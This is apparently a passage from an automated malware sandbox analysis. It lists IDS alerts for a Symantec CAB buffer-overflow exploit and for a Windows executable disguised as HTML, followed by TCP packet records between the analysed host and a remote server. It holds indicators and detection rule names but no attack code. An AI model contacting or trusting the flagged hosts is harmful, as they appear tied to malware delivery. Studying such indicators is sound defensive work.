2024-11-08T11:09:35.005158+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.7	49772	TCP
2024-11-08T11:09:35.536470+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.7	49779	TCP
2024-11-08T11:09:37.158581+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.7	49790	TCP
2024-11-08T11:09:38.514160+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.7	49798	TCP
2024-11-08T11:09:41.447672+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.7	49814	TCP
2024-11-08T11:09:43.298710+0100	2009897	ET MALWARE Possible Windows executable sent when remote host claims to send html content	1	194.59.30.201	443	192.168.2.7	49825	TCP
2024-11-08T11:10:13.054100+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.7	49993	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 8, 2024 11:09:18.958364964 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:18.958400965 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:18.958492994 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:18.981887102 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:18.981909037 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:19.863456011 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:19.863543987 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:19.868221998 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:19.868228912 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:19.868514061 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:19.916450024 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:19.932287931 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:19.979321957 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.355662107 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.355703115 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.355710030 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.355736017 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.355756044 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.355798006 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.355812073 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.355870008 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.355905056 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.391454935 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.391477108 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.391570091 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.391581059 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.432056904 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.472781897 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.472796917 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.472836971 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.472915888 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.472915888 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.472933054 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.472975016 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.596263885 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.596299887 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.596386909 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.596402884 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.596434116 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.596446991 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.719614983 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.719647884 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.719743013 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.719743013 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.719758034 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.719805002 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.842259884 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.842298985 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.842370987 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.842386961 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.842427969 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.842488050 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.885469913 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.885493040 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.885536909 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.885548115 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.885557890 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.885628939 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.885946035 CET	443	49706	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:20.886054039 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:20.889372110 CET	49706	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:21.472925901 CET	49708	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:21.472975969 CET	443	49708	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:21.473053932 CET	49708	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:21.473342896 CET	49708	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:21.473362923 CET	443	49708	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:22.313636065 CET	443	49708	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:22.316162109 CET	49708	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:22.316179991 CET	443	49708	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:22.675760984 CET	443	49708	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:22.675784111 CET	443	49708	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:22.675801039 CET	443	49708	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:22.675939083 CET	49708	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:22.675954103 CET	443	49708	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:22.675987959 CET	443	49708	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:22.675997019 CET	49708	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:22.676032066 CET	49708	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:22.676054001 CET	49708	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:22.677391052 CET	49708	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:26.303987980 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:26.304048061 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:26.304140091 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:26.304397106 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:26.304415941 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.148121119 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.158389091 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.158423901 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.519511938 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.519541979 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.519556999 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.519613981 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.519643068 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.519659996 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.519686937 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.522094965 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.522116899 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.522164106 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.522192001 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.522208929 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.572768927 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.638353109 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.638376951 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.638489008 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.638528109 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.640023947 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.640049934 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.640106916 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.640119076 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.640625000 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.756849051 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.756869078 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.756952047 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.756980896 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.757041931 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.758028984 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.758064032 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.758095026 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.758101940 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.758116961 CET	443	49730	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.758130074 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.758143902 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.758172989 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.758600950 CET	49730	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.770905972 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.770940065 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:27.771006107 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.771197081 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:27.771207094 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:28.604681015 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:28.624432087 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:28.624444008 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:28.980269909 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:28.980298042 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:28.980314016 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:28.980402946 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:28.980422020 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:28.980473042 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:28.980494022 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:28.981983900 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:28.982001066 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:28.982074022 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:28.982080936 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.025918961 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.097784996 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.097812891 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.097915888 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.097930908 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.097997904 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.098629951 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.098675013 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.098691940 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.098700047 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.098727942 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.099160910 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.099204063 CET	443	49737	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.099261045 CET	49737	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.107824087 CET	49748	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.107858896 CET	443	49748	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.107923985 CET	49748	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.108160019 CET	49748	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.108171940 CET	443	49748	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.951842070 CET	443	49748	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.951916933 CET	49748	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.953887939 CET	49748	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.953895092 CET	443	49748	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.954191923 CET	443	49748	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:29.955008030 CET	49748	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:29.999330997 CET	443	49748	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:30.197381020 CET	443	49748	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:30.244621992 CET	49748	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:30.244632959 CET	443	49748	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:30.245058060 CET	49748	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:30.245146990 CET	443	49748	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:30.245208979 CET	49748	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:30.250166893 CET	49754	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:30.250207901 CET	443	49754	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:30.250286102 CET	49754	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:30.250520945 CET	49754	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:30.250534058 CET	443	49754	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:31.092500925 CET	443	49754	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:31.092658043 CET	49754	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:31.095468998 CET	49754	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:31.095478058 CET	443	49754	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:31.095722914 CET	443	49754	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:31.137895107 CET	49754	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:31.183320045 CET	443	49754	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:31.379443884 CET	443	49754	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:31.432116985 CET	49754	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:31.432127953 CET	443	49754	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:31.433516026 CET	49754	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:31.433562994 CET	443	49754	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:31.433629990 CET	49754	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:31.456583977 CET	49760	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:31.456618071 CET	443	49760	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:31.456796885 CET	49760	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:31.456944942 CET	49760	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:31.456954956 CET	443	49760	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:32.535465956 CET	443	49760	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:32.535618067 CET	49760	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:32.537483931 CET	49760	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:32.537492037 CET	443	49760	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:32.537743092 CET	443	49760	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:32.538826942 CET	49760	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:32.583328962 CET	443	49760	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:32.793678045 CET	443	49760	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:32.838380098 CET	49760	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:32.838392019 CET	443	49760	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:32.838706970 CET	49760	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:32.838768959 CET	443	49760	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:32.838819027 CET	49760	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:32.842840910 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:32.842880964 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:32.842956066 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:32.843149900 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:32.843166113 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:33.676680088 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:33.676753998 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:33.679146051 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:33.679155111 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:33.679402113 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:33.680634022 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:33.727332115 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.045303106 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.045324087 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.045342922 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.045401096 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.045428991 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.045444012 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.045475006 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.047264099 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.047283888 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.047331095 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.047339916 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.047368050 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.088409901 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.162434101 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.162462950 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.162537098 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.162552118 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.162614107 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.162633896 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.163943052 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.163960934 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.164035082 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.164042950 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.164104939 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.165795088 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.165810108 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.165854931 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.165867090 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.165904999 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.165919065 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.168657064 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.168713093 CET	443	49771	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.168771982 CET	49771	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.187855959 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.187901974 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:34.187967062 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.188349009 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:34.188360929 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.043874025 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.043967962 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.045859098 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.045871973 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.046154022 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.047060013 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.087341070 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.413127899 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.413142920 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.413158894 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.413223982 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.413239002 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.413283110 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.415203094 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.415222883 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.415278912 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.415291071 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.415318966 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.463376999 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.535248041 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.535270929 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.535389900 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.535409927 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.536492109 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.536511898 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.536555052 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.536565065 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.536602974 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.536636114 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.538304090 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.538322926 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.538362980 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.538369894 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.538402081 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.538424969 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.539673090 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.539689064 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.539767981 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.539777040 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.539932966 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.657866955 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.657886028 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.657998085 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.658029079 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.658092022 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.658519983 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.658530951 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.658613920 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.658621073 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.658698082 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.659847975 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.659863949 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.659950018 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.659956932 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.660069942 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.662609100 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.662625074 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.662683964 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.662689924 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.662772894 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.663613081 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.663630962 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.663692951 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.663698912 CET	443	49779	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:35.663805008 CET	49779	443	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:35.780044079 CET	443	49779	194.59.30.201	192.168.2.7
